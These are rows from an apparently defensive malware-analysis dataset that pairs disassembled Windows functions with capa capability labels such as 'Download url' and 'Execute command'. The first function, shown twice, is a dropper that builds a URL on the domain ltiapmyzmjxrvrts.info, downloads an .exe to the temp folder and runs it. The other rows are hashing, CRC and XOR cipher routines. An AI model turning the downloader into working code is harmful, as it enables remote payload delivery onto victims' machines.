joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401493
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1382178034
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d7_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintAsnAny
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.d8_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilMemFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401493
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1382178034
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d7_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintAsnAny
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.d8_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilMemFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x1400101fc
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp dword [0x1400a5074], 2
mov edi, r8d
mov esi, edx
mov rbx, rcx
jl 0x14001025c
movdqa xmm0, xmmword [0x1400720b0]
movdqa xmm1, xmmword [0x1400720a0]
movdqa xmmword [0x14008a350], xmm0
movdqa xmm0, xmmword [0x140072080]
movdqa xmmword [0x14008a360], xmm1
movdqa xmm1, xmmword [0x140072090]
movdqa xmmword [0x14008a370], xmm0
movdqa xmmword [0x14008a380], xmm1
xor edx, edx
mov r8d, 0xf0
call fcn.14005ca50
xor edx, edx
mov qword [rbx + 0x110], rdx
mov byte [rbx + 0x118], dl
mov rcx, qword [rbx + 0xf8]
lea rax, [0x140072060]
mov eax, dword [rdx + rax]
mov dword [rdx + rcx], eax
add rdx, 4
cmp rdx, 0x20
jl 0x140010278
mov rax, qword [rbx + 0xf8]
bts edi, 0xd
shl edi, 0x10
xor dword [rax], 0x2080020
mov rax, qword [rbx + 0xf8]
xor dword [rax + 8], esi
mov rax, qword [rbx + 0xf8]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor dword [rax + 0xc], edi
add rsp, 0x20
pop rdi
ret

Function at 0x140014c0c
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov bpl, dl
mov word [rcx + 0x952a], r14w
mov rsi, rcx
mov byte [rcx + 0x9521], r14b
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140013f60
mov rdi, rax
test rax, rax
je 0x140014c91
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call fcn.14005f688
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140013f60
mov rdi, rax
test rax, rax
je 0x140014c91
mov rbx, qword [rsp + 0x40]
mov rcx, rsi
mov rdx, rbx
test bpl, bpl
je 0x140014c8a
call fcn.140014db8
jmp 0x140014c56
call fcn.1400148d0
jmp 0x140014c56
test bpl, bpl
jne 0x140014c9e
mov rcx, rsi
call fcn.140014cb4
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140018170
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x850
mov rax, qword [0x1400898f0]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov rax, rdx
mov rdi, r8
mov rbx, rcx
lea rdx, [rsp + 0x40]
mov rcx, rax
mov r8d, 0x400
call fcn.14004a518
mov esi, 1
mov ecx, esi
call fcn.140063330
xor r14d, r14d
cmp rbx, rax
jne 0x1400181c9
cmp byte [0x14008b9bd], r14b
jne 0x1400181eb
mov ebp, 2
mov ecx, ebp
call fcn.140063330
cmp rbx, rax
jne 0x1400182b3
cmp byte [0x14008b9be], r14b
je 0x1400182b3
mov ecx, esi
call fcn.140063330
sub rbx, rax
neg rbx
sbb ecx, ecx
add ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbp, rax
call fcn.140006654
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x40]
mov esi, 0x1800
mov qword [rsp + 0x20], r14
lea rdi, [0x14008f1d0]
mov r8d, esi
mov rcx, qword [rax]
mov rdx, rdi
call fcn.140061ec4
mov ecx, dword [0x14008b9b8]
cmp ecx, 3
jne 0x140018255
or r8, 0xffffffffffffffff
inc r8
cmp word [rdi + r8*2], r14w
jne 0x140018243
add r8d, r8d
mov rdx, rdi
jmp 0x14001829e
lea rbx, [0x1400921d0]
cmp ecx, 4
mov rdx, rbx
mov r8, rsi
mov rcx, rdi
jne 0x140018271
call fcn.14004d994
jmp 0x140018276
call fcn.14004d910
test dword [0x14008b9b8], 0xfffffffd
jne 0x14001828e
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.USER32.dll_CharToOemA]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r14b
jne 0x140018292
mov rdx, rbx
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x14001831c
call fcn.140006654
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x40]
lea rdi, [0x14008f1d0]
mov qword [rsp + 0x20], r14
mov r8d, 0x1800
mov rdx, rdi
mov rcx, qword [rax]
call fcn.140061ec4
mov ecx, ebp
call fcn.140063330
mov ecx, r14d
cmp rbx, rax
setne cl
add ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
or r8, 0xffffffffffffffff
inc r8
cmp word [rdi + r8*2], r14w
jne 0x1400182fc
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.14005a290
add rsp, 0x850
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001866c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
lea rsi, [0x1400939d0]
mov r11, r8
mov rbx, rdx
mov r10d, ecx
test r8, r8
je 0x1400186b0
test bl, 7
je 0x1400186b0
movzx ecx, byte [rbx]
inc rbx
movzx eax, r10b
xor rcx, rax
shr r10d, 8
xor r10d, dword [rsi + rcx*4]
sub r11, 1
jne 0x140018690
cmp r11, 8
jb 0x140018756
mov rdi, r11
shr rdi, 3
imul rax, rdi, 0xfffffffffffffff8
add r11, rax
xor r10d, dword [rbx]
mov r9d, dword [rbx + 4]
add rbx, 8
mov eax, r9d
mov edx, r9d
shr eax, 0x10
movzx ecx, al
mov eax, r9d
shr eax, 8
shr rdx, 0x18
mov r8d, dword [rsi + rdx*4]
xor r8d, dword [rsi + rcx*4 + 0x400]
movzx ecx, al
mov eax, r10d
shr rax, 0x18
xor r8d, dword [rsi + rcx*4 + 0x800]
xor r8d, dword [rsi + rax*4 + 0x1000]
mov eax, r10d
shr eax, 0x10
movzx ecx, al
mov eax, r10d
shr eax, 8
xor r8d, dword [rsi + rcx*4 + 0x1400]
movzx ecx, al
movzx eax, r9b
xor r8d, dword [rsi + rcx*4 + 0x1800]
xor r8d, dword [rsi + rax*4 + 0xc00]
movzx eax, r10b
mov r10d, r8d
xor r10d, dword [rsi + rax*4 + 0x1c00]
sub rdi, 1
jne 0x1400186c8
test r11, r11
je 0x140018776
movzx ecx, byte [rbx]
inc rbx
movzx eax, r10b
xor rcx, rax
shr r10d, 8
xor r10d, dword [rsi + rcx*4]
sub r11, 1
jne 0x14001875b
mov rbx, qword [rsp + 8]
mov eax, r10d
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x14001878c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
lea rdi, [0x1400959d0]
mov r10, r8
mov r11, rdx
mov r9, rcx
test r8, r8
je 0x1400187cd
test r11b, 7
je 0x1400187cd
movzx ecx, byte [r11]
inc r11
movzx eax, r9b
xor rcx, rax
shr r9, 8
xor r9, qword [rdi + rcx*8]
sub r10, 1
jne 0x1400187ab
mov rax, r10
shr rax, 3
lea rbx, [r11 + rax*8]
jmp 0x14001886a
xor r9, qword [r11]
mov r8, r9
mov rax, r9
shr rax, 0x30
movzx edx, al
mov rax, r9
shr rax, 0x28
movzx ecx, al
mov rax, r8
shr rax, 0x20
mov r9, qword [rdi + rdx*8 + 0x800]
xor r9, qword [rdi + rcx*8 + 0x1000]
movzx ecx, al
mov rax, r8
shr rax, 0x18
xor r9, qword [rdi + rcx*8 + 0x1800]
movzx ecx, al
mov rax, r8
shr rax, 0x10
xor r9, qword [rdi + rcx*8 + 0x2000]
movzx ecx, al
mov rax, r8
shr rax, 8
xor r9, qword [rdi + rcx*8 + 0x2800]
movzx ecx, al
mov rax, r8
shr rax, 0x38
xor r9, qword [rdi + rcx*8 + 0x3000]
xor r9, qword [rdi + rax*8]
movzx eax, r8b
xor r9, qword [rdi + rax*8 + 0x3800]
add r11, 8
cmp r11, rbx
jb 0x1400187dd
and r10d, 7
jbe 0x140018895
movzx ecx, byte [r11]
inc r11
movzx eax, r9b
xor rcx, rax
shr r9, 8
xor r9, qword [rdi + rcx*8]
sub r10, 1
jne 0x140018879
mov rbx, qword [rsp + 8]
mov rax, r9
mov rdi, qword [rsp + 0x10]
ret

Function at 0x1400188c4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [rcx + 4], 0
mov r8, rcx
jne 0x14001890b
xor r9d, r9d
mov r10d, r9d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
test cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x1400188d9
mov dword [r8], r10d
inc r9d
add r8, 4
cmp r9d, 0x100
jb 0x1400188d0
ret
Function at 0x14001890c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov r8, rcx
xor r9d, r9d
mov r11d, 0x100
mov r10, r9
mov ebx, 8
mov rdx, r10
mov cl, r10b
shr rdx, 1
movabs r10, 0xc96c5795d7870f42
mov rax, rdx
xor rax, r10
mov r10, rdx
test cl, 1
cmovne r10, rax
sub rbx, 1
jne 0x140018925
mov qword [r8], r10
inc r9
add r8, 8
sub r11, 1
jne 0x14001891d
mov rbx, qword [rsp + 8]
ret

Function at 0x140018ac8
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x1400898f0]
xor rax, rsp
mov qword [rsp + 0x78], rax
cmp dword [rcx], 2
lea rbx, [rcx + 4]
mov rsi, rdx
mov rdi, rcx
mov r14d, 0x20
jne 0x140018b60
and qword [r11 - 0x58], 0
lea r9d, [r14 - 0x1c]
and qword [r11 - 0x60], 0
lea r8, [r11 - 0x48]
mov eax, dword [rbx]
mov edx, r14d
and qword [r11 - 0x68], 0
mov rcx, rsi
and qword [r11 - 0x70], 0
mov dword [rsp + 0x50], eax
lea rax, [r11 - 0x40]
mov qword [r11 - 0x78], rax
call fcn.140019e10
xor r9d, r9d
lea r10, [rsp + 0x58]
xor r8d, r8d
movzx edx, byte [r10]
mov ecx, r9d
and ecx, 3
inc r9d
shl ecx, 3
inc r10
shl edx, cl
xor edx, r8d
mov r8d, edx
cmp r9d, r14d
jb 0x140018b3e
mov dword [rbx], edx
cmp dword [rdi], 3
jne 0x140018ba9
and qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
and qword [rsp + 0x38], 0
mov r9, r14
and qword [rsp + 0x30], 0
mov r8, rbx
and qword [rsp + 0x28], 0
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.140019e10
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14005a290
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop r14
pop rdi
pop rsi
ret

Function at 0x140018bcc
Capabilities:
Encode data using xor

Disassembly:
mov r10, r8
mov r11, rdx
mov r9, rcx
test r8, r8
je 0x140018c6d
movzx edx, word [r9 + 0x10be]
mov ecx, 0x1234
add cx, word [r9 + 0x10b8]
mov word [r9 + 0x10b8], cx
movzx r8d, cx
mov eax, r8d
shr rax, 1
movzx ecx, al
movzx eax, word [r9 + rcx*4 + 0xba4]
xor word [r9 + 0x10ba], ax
movzx eax, word [r9 + rcx*4 + 0xba6]
mov ecx, 1
sub word [r9 + 0x10bc], ax
ror dx, cl
xor dx, word [r9 + 0x10ba]
ror dx, cl
mov word [r9 + 0x10be], dx
xor dx, word [r9 + 0x10bc]
xor dx, r8w
mov word [r9 + 0x10b8], dx
shr dx, 8
xor byte [r11], dl
inc r11
sub r10, 1
jne 0x140018bde
ret
Function at 0x140018ca0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1400898f0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov edi, dword [rcx + 0x10a4]
mov r15d, 0x1f
mov ebx, dword [rdx + 4]
mov r11d, edi
mov esi, dword [rdx + 8]
mov r10, rdx
movups xmm0, xmmword [rdx]
xor r11d, dword [rdx]
mov r9, rcx
xor ebx, dword [rcx + 0x10a8]
mov r12d, r15d
xor esi, dword [rcx + 0x10ac]
mov ebp, dword [rdx + 0xc]
xor ebp, dword [rcx + 0x10b0]
movdqu xmmword [rsp + 0x20], xmm0
mov rax, r12
mov edx, ebp
and eax, 3
rol edx, 0xb
add edx, esi
dec r12
mov r8d, dword [r9 + rax*4 + 0x10a4]
xor edx, r8d
mov eax, edx
shr rax, 0x10
movzx eax, al
movzx r14d, byte [rax + r9 + 0xfa4]
mov eax, edx
shr rax, 0x18
movzx ecx, byte [rax + r9 + 0xfa4]
mov eax, edx
shr rax, 8
movzx eax, al
shl ecx, 8
or r14d, ecx
shl r14d, 8
movzx ecx, byte [rax + r9 + 0xfa4]
or r14d, ecx
movzx ecx, dl
shl r14d, 8
mov edx, esi
ror edx, 0xf
xor edx, ebp
movzx eax, byte [rcx + r9 + 0xfa4]
add edx, r8d
or r14d, eax
mov eax, edx
shr rax, 0x10
xor r14d, r11d
movzx eax, al
mov r11d, esi
mov esi, r14d
movzx r8d, byte [rax + r9 + 0xfa4]
mov eax, edx
shr rax, 0x18
movzx ecx, byte [rax + r9 + 0xfa4]
mov eax, edx
shl ecx, 8
or r8d, ecx
shr rax, 8
shl r8d, 8
movzx eax, al
movzx ecx, byte [rax + r9 + 0xfa4]
or r8d, ecx
movzx ecx, dl
shl r8d, 8
movzx eax, byte [rcx + r9 + 0xfa4]
or r8d, eax
xor r8d, ebx
mov ebx, ebp
sub r15d, 1
mov ebp, r8d
jns 0x140018d04
xor edi, r14d
lea rdx, [rsp + 0x20]
mov dword [r10], edi
mov rcx, r9
xor r8d, dword [r9 + 0x10a8]
mov dword [r10 + 4], r8d
xor r11d, dword [r9 + 0x10ac]
mov dword [r10 + 8], r11d
xor ebx, dword [r9 + 0x10b0]
mov dword [r10 + 0xc], ebx
call fcn.140019d88
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14005a290
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140018ed8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov edi, dword [rcx + 0x10a4]
mov r9, rdx
mov ebx, dword [rdx + 4]
mov r11d, edi
mov esi, dword [rdx + 8]
mov r10, rcx
mov ebp, dword [rdx + 0xc]
xor r11d, dword [rdx]
xor ebx, dword [rcx + 0x10a8]
xor esi, dword [rcx + 0x10ac]
xor ebp, dword [rcx + 0x10b0]
xor r15d, r15d
lea r12d, [r15 + 0x20]
mov rax, r15
mov edx, ebp
and eax, 3
rol edx, 0xb
add edx, esi
inc r15
mov r8d, dword [r10 + rax*4 + 0x10a4]
xor edx, r8d
mov eax, edx
shr rax, 0x10
movzx eax, al
movzx r14d, byte [rax + r10 + 0xfa4]
mov eax, edx
shr rax, 0x18
movzx ecx, byte [rax + r10 + 0xfa4]
mov eax, edx
shr rax, 8
movzx eax, al
shl ecx, 8
or r14d, ecx
shl r14d, 8
movzx ecx, byte [rax + r10 + 0xfa4]
or r14d, ecx
movzx ecx, dl
shl r14d, 8
mov edx, esi
ror edx, 0xf
xor edx, ebp
movzx eax, byte [rcx + r10 + 0xfa4]
add edx, r8d
or r14d, eax
mov eax, edx
shr rax, 0x10
xor r14d, r11d
movzx eax, al
mov r11d, esi
mov esi, r14d
movzx r8d, byte [rax + r10 + 0xfa4]
mov eax, edx
shr rax, 0x18
movzx ecx, byte [rax + r10 + 0xfa4]
mov eax, edx
shl ecx, 8
or r8d, ecx
shr rax, 8
shl r8d, 8
movzx eax, al
movzx ecx, byte [rax + r10 + 0xfa4]
or r8d, ecx
movzx ecx, dl
shl r8d, 8
movzx eax, byte [rcx + r10 + 0xfa4]
or r8d, eax
xor r8d, ebx
mov ebx, ebp
mov ebp, r8d
sub r12, 1
jne 0x140018f29
xor edi, r14d
mov rdx, r9
mov dword [r9], edi
mov rcx, r10
xor r8d, dword [r10 + 0x10a8]
mov dword [r9 + 4], r8d
xor r11d, dword [r10 + 0x10ac]
mov dword [r9 + 8], r11d
xor ebx, dword [r10 + 0x10b0]
mov dword [r9 + 0xc], ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
jmp fcn.140019d88

Function at 0x140019088
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and qword [rax + 0x18], 0
mov rdi, rdx
mov rsi, rcx
mov dword [rax - 0x18], 0xf0000040
xor edx, edx
lea rcx, [rax + 0x18]
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400190e7
mov rcx, qword [rsp + 0x50]
mov r8, rsi
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp ebx, 1
je 0x1400190f2
mov rdx, rdi
mov rcx, rsi
call fcn.140019d00
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1400192a4
Capabilities:
Encode data using xor

Disassembly:
xor r11d, r11d
mov word [rcx + 0x10b5], r11w
mov byte [rcx + 0x10b4], r11b
mov r8b, byte [rdx]
test r8b, r8b
je 0x1400192f1
mov r9b, r11b
mov r10b, r11b
mov al, r11b
add al, r8b
add r9b, r8b
xor r10b, r8b
rol al, 1
inc rdx
mov byte [rcx + 0x10b6], al
mov byte [rcx + 0x10b4], r9b
mov byte [rcx + 0x10b5], r10b
mov r8b, byte [rdx]
test r8b, r8b
jne 0x1400192c7
ret
Function at 0x1400192f4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
add rcx, 0xba4
call fcn.1400188c4
or r8, 0xffffffffffffffff
xor esi, esi
inc r8
cmp byte [rdi + r8], sil
jne 0x14001931b
mov rdx, rdi
or ecx, 0xffffffff
call fcn.14001866c
mov word [rbx + 0x10b8], ax
shr eax, 0x10
mov word [rbx + 0x10ba], ax
mov dword [rbx + 0x10bc], esi
mov al, byte [rdi]
test al, al
je 0x14001938f
movzx r8d, si
movzx r9d, si
movzx ecx, al
inc rdi
movzx edx, al
xor r8w, dx
xor r8w, word [rbx + rcx*4 + 0xba4]
mov word [rbx + 0x10bc], r8w
add dx, word [rbx + rcx*4 + 0xba6]
add dx, r9w
mov word [rbx + 0x10be], dx
movzx r9d, dx
mov al, byte [rdi]
test al, al
jne 0x140019354
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140019d00
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
xor ebx, ebx
lea rcx, [rax + 0x10]
mov qword [rax + 0x10], rbx
mov rsi, rdx
call fcn.14004bf58
lea rcx, [rsp + 0x38]
call fcn.14004bdf8
mov rdi, rax
call fcn.140063874
movsxd r8, eax
add rdi, r8
test rsi, rsi
je 0x140019d71
mov edx, dword [0x1400999d4]
mov cl, bl
mov rax, rdi
and cl, 7
shl cl, 3
shr rax, cl
xor al, bl
add al, dl
inc edx
mov byte [rbx + rbp], al
inc rbx
cmp rbx, rsi
jb 0x140019d4c
mov dword [0x1400999d4], edx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140019d88
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov r8d, dword [rcx + 0x10a4]
add rdx, 2
mov r9d, dword [rcx + 0x10a8]
mov ebx, 4
mov r10d, dword [rcx + 0x10ac]
mov r11d, dword [rcx + 0x10b0]
movzx eax, byte [rdx - 2]
xor r8d, dword [rcx + rax*4 + 0xba4]
mov dword [rcx + 0x10a4], r8d
movzx eax, byte [rdx - 1]
xor r9d, dword [rcx + rax*4 + 0xba4]
mov dword [rcx + 0x10a8], r9d
movzx eax, byte [rdx]
lea rdx, [rdx + 4]
xor r10d, dword [rcx + rax*4 + 0xba4]
mov dword [rcx + 0x10ac], r10d
movzx eax, byte [rdx - 3]
xor r11d, dword [rcx + rax*4 + 0xba4]
mov dword [rcx + 0x10b0], r11d
sub rbx, 1
jne 0x140019db2
mov rbx, qword [rsp + 8]
ret